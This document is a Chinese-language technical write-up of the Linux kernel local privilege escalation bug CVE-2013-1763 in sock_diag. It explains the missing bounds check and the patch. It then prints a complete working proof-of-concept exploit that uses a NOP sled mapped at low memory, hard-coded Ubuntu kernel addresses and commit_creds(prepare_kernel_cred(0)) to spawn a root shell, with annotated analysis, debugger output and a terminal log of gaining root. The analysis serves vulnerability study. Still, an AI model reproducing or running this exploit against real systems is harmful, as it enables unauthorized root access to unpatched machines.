linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析
kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763，影响范围比较广泛，ubuntu，Arch，fedora都受到其影响，漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码，下面会分析该代码是如何获取root权限的。
首先对CVE-2013-1763这个安全漏洞简单介绍一下。
1. 漏洞描述
在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致可能越界，进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。
2. 漏洞的影响范围
linux kernel 3.0-3.7.10
3. 漏洞曝光时间
2013/02/19
4. 漏洞产生的原因
首先看一下这个漏洞的patch：
net/core/sock_diag.c View file @ 6e601a5
@@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
+ if (req->sdiag_family >= AF_MAX)
+ return -EINVAL;
+
hndl = sock_diag_lock_handler(req->sdiag_family);
if (hndl == NULL)
err = -ENOENT;
Patch 很简单，只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么：
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
if (sock_diag_handlers[family] == NULL)
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
NETLINK_SOCK_DIAG, family);
mutex_lock(&sock_diag_table_mutex);
return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
} 这个函数也没有做什么，只是对
sock_diag_lock_hander[family]进行检测，是否为NULL，如果为NULL申请注册，然后加上了一把锁，最后返回的是它的地址。
static struct sock_diag_handler *sock_diag_handlers[AF_MAX]; //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.
接着我们再看看完整的__sock_diag_rcv_msg函数。
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断，那么就可以越界。
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh); //看到这里是不是很激动呢，利用这里可以让它执行我们自己的代码
sock_diag_unlock_handler(hndl);
return err;
}
5. 漏洞的利用
虽然已经找到了kernel中有这样一个漏洞，但是如何利用这个漏洞来执行我们自己的程序，取得root权限还是需要很困难的，需要对kernel系统以及计算机运行原理非常了解才可以，并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码，请欣赏：
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。
kernel_code()
{
commit_creds(prepare_kernel_cred(0)); //这行代码执行之后就可以获取root权限，但是这两个函数都是内核函数，必须在内核态执行才有效。
return -1;
}
//这段函数没有使用，用来解释hard code jump[] 为什么是那些数值
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
unsigned long
get_symbol(char *name) //为了获取内核函数地址
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh; //socket协议netlink数据包的格式
struct unix_diag_req r;
} req;
char buf[8192];
//创建一个netlink协议的socket，因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
//填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 89;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
if(argc==1){
printf("Run: %s Fedora|Ubuntu\n",argv[0]);
return 0;
}
else if(strcmp(argv[1],"Fedora")==0){
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!\n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 4;
printf("family=%d\n",family);
req.r.sdiag_family = family;
if(family>255){
printf("nl_table is too far!\n");
exit(1);
}
}
else if(strcmp(argv[1],"Ubuntu")==0){
commit_creds = (_commit_creds) 0xc106bc60;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
req.r.sdiag_family = 81;
}
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //选择了一块1MB多的内存区域
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90，在X86系统中对应的是NOP指令
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4];
*asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
//将jump这段代码放在mmap内存区域的最后，也就是说只要最后能够跳转到这块区域，就可以执行到jump代码，进而跳转执行kernel_code，因为这块区域中布满了NOP指令。
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
//所有准备工作完成之后，最后在这里发送socket触发这个漏洞
if ( send(fd, &req, sizeof(req), 0) < 0) {
printf("bad send\n");
close(fd);
return -1;
}
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
if(!getuid())
system("/bin/sh");
}
6. exploit代码分析
在分析之前，有些概念要澄清一下，在linux系统中，用户空间和内核空间是独立存在的。在一个32位的linux系统中，每个进程会虚拟出4G的内存空间，其中3G是用户空间，1G是内核空间，用户空间的地址范围是0×00000000 到 0xBFFFFFFF，内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享，但只有运行在内核态的进程才能访问，用户进程可以通过系统调用切换到内核态访问内核空间，进程运行在内核态时所产生的地址都属于内核空间。
commit_creds 和prepare_kernel_cred 均为内核函数，如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的，所以这个时候调用执行kernel_code函数就可以取得root权限。
那么如何调用kernel_code函数呢？所有我们mmap了一块从0x10000开始0x120000大小的内存空间，然后将这块空间写满NOP指令，将跳转执行kernel_code的代码放在这块区域的最后面，也就是说，只要跳转执行到这块内存区域的（除了jump代码块内部）都会顺利跑到kernel_code函数。这种方法叫做NOP slide，就像坐滑滑梯一样，自然滑到底部。jump这一段代码的分析如下：
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4];
*asd = (unsigned long)kernel_code;
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c
CVE-2013-1763.c: In function ‘main’:
CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out
….
08048763 <jump_payload_not_used>:
8048763: 55 push %ebp
8048764: 89 e5 mov %esp,%ebp
8048766: b8 3c 87 04 08 mov $0x804873c,%eax
804876b: ff d0 call *%eax
804876d: 5d pop %ebp
804876e: c3 ret
….
(gdb) p/x jump
$2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址
(gdb) p kernel_code
$4 = {int ()} 0x804873c <kernel_code>
问题的关键变成了如何才能跳转到这一块内存区域呢？先看看下面这结构体的定义：
struct nlmsghdr {
__u32 nlmsg_len; /* Length of message including header */
__u16 nlmsg_type; /* Message content */
__u16 nlmsg_flags; /* Additional flags */
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process port ID */
};
struct unix_diag_req {
__u8 sdiag_family;
__u8 sdiag_protocol;
__u16 pad;
__u32 udiag_states;
__u32 udiag_ino;
__u32 udiag_show;
__u32 udiag_cookie[2];
};
struct sock_diag_handler {
__u8 family;//
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};
struct netlink_table {
struct nl_portid_hash hash; //取回这个值
struct hlist_head mc_list;
struct listeners __rcu *listeners;
unsigned int flags;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
void (*bind)(int group);
int registered;
};
struct nl_portid_hash {
struct hlist_head *table; 四个字节
unsigned long rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
static struct netlink_table *nl_table;
我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内，所以可以利用这个值来跳转，只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示
所以我们需要先知道nl_table和sock_diag_handlers的地址，可以通过以下两种方式查看。
cat /proc/kallsyms sudo cat /boot/System.map-3.2.0-43-generic-pae但是在ubuntu系统中前一种方法无法查看到变量函数的地址，所以只有使用第二种方法了，由于 nl_table和 sock_diag_handlers都是指针，所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。
fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table c189b5c0 d nl_table_lock c189b5c4 d nl_table_wait c1a488e0 b nl_table_users c1a488e4 b nl_table fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers c1a487a0 b sock_diag_handlers (0xc1a488e4 - 0xc1a487a0) / 4 = 81L至此所有的谜题都解开了，然后就可以高高兴兴的黑自己一把了:
fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c CVE-2013-1763.c: In function ‘main’: CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default] fengguoqing@VirtualBox:~/Downloads$ id uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare) fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu mmapping at 0x10000, size = 0x120000 uid=0, euid=0 # id uid=0(root) gid=0(root) groups=0(root) #由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex)，但是我们在后面将程序引入到其他地方，并没有接着执行 mutex_unlock(&sock_diag_table_mutex)，所以按道理只能root成功一次，但是我在测试中发现有时候可以root多次，有时候root一次之后就不能再root了，需要重启才可以重新root。
7. 参考网站
CVE：
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1763
NVD:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-1763
Patch:
CONFIRM:http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=6e601a53566d84e1ffd25e7b6fe0b6894ffd79c0
Exploit:
http://www.exploit-db.com
维基百科Netlink：
http://zh.wikipedia.org/wiki/Netlink